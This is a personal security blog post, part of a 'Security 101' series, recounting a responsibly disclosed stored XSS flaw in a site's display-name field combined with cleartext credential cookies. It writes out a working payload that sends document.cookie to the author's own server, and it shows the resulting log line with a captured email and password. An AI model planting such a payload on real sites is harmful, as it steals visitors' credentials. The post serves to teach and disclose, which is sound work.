XSS And You

XSS And You

part of the Security 101 series

show all in series

back to index

I recently ran across an XSS (javascript injection) vulnerability in the wild. I contacted the website owner, we discussed the issue, and the vulnerability was fixed within a few hours. Nice! Let's talk about this type of vulnerability and why you should care about it.

We can all execute arbitrary javascript on any page we like using a console. Go ahead, open up a console and use it to call .hide() on all of the span elements on this page and watch stuff disappear. You haven't hacked my site and your code isn't on my server - you've just run some javascript in your own client. Refresh the page (or call .show() on those elements) and everything's back to normal.

But what if you could inject your javascript into a page and have it stay there? Now it wouldn't just execute in your browser - it'd execute in the browser of any visitor that comes to your site. That's a serious problem, especially with applications that require logins and session control. Much of the modern web relies on cookies and tokens to control and authenticate user sessions, and many such systems rely on the Same-Origin Policy to protect that sensitive data from outside websites and applications. To oversimplify: web developers rely on the fact that Page A can't see the cookies for a Page B unless they have the same origin (host and port). So if you've got a secure cookie storing a session ID for your email account and you browse to a page on a different site, that other site can't access your email-related cookie. That's nice, because it means you don't get your passwords stolen just because you tried to look up a dirty movie.

Cookies and session IDs like this come in all shapes and sizes. Typically, this data is submitted to the server by the browser alongside every request. The server checks this data, confirms that it matches expected values, and then serves the content (or rejects the request if the authentication data was invalid). In the vulnerable application I discovered, there was a secondary security concern: session management was handled by two cookies, email and password, whose values were simply the cleartext email and password of the requesting user with no sort of encoding applied. That's not a good idea, but you'll find this sort of thing out in the wild surprisingly often (get the EditThisCookie Chrome extension and be amazed). Even without an injection vulnerability this leaves you very open to a wide range of other issues, like having your users' passwords sniffed by some jackass running wireshark when you try to log in on a public wifi connection.

Storing users' emails and passwords in cleartext cookies and having a javascript injection vulnerability is a disaster - your site is one step away from becoming a password farm for an attacker. In the vulnerable application we found, users could define a "display name" - the form field for this evidently was not subjected to the same validation as the email address and password. Setting a display name of <script>alert('hello')</script> caused an alert box to pop up when the main user index page was loaded. Since the script was embedded in the page, it would execute every time for every user. That's a problem.

You can access the cookies for a given document with document.cookie, and you can send a get request with $.get(). Knowing this, I entered my "display name" on the vulnerable site as <script>$.get('http://souldeux.com/passwordfarm/'+document.cookie)</script>. This request will 404 because souldeux.com/passwordfarm doesn't exist, but that's okay. Once the script was injected, I navigated back to the main user index page. My "display name" appeared as a blank in the index, and inspecting the page revealed the presence of my javascript.

Checking the server logs for souldeux.com revealed the following request:

"GET /passwordfarm/email=my@email.com%20password=mypassword HTTP/1.1" 404 177 "http://vulnerablesite.com" "Mozilla/5.0"

Remember, this javascript has been injected into the vulnerable site so it'll execute for everyone who visits the page. If they're logged in, this will send their username and password to our server within the URL of a GET request. It's only a matter of time before the site's administrator browses the index page and reveals their email address and password to us. Worse, since so many people reuse their passwords, it's likely we're going to get login credentials for unsuspecting users' email accounts as well. Parsing these URLs and saving the encoded information is now trivial.

Of course, I immediately removed the injected javascript and swept my server logs to remove any collected information. And as we discussed, the website owner was able to patch the vulnerability in short order. This story had a happy ending, but there are unfortunately many sites on the web today that are still vulnerable to attacks like these. And while this is a very simple vulnerability, as you can see the consequences can still be quite serious.

Moral of the story: user input is not to be trusted!

<< back to blog index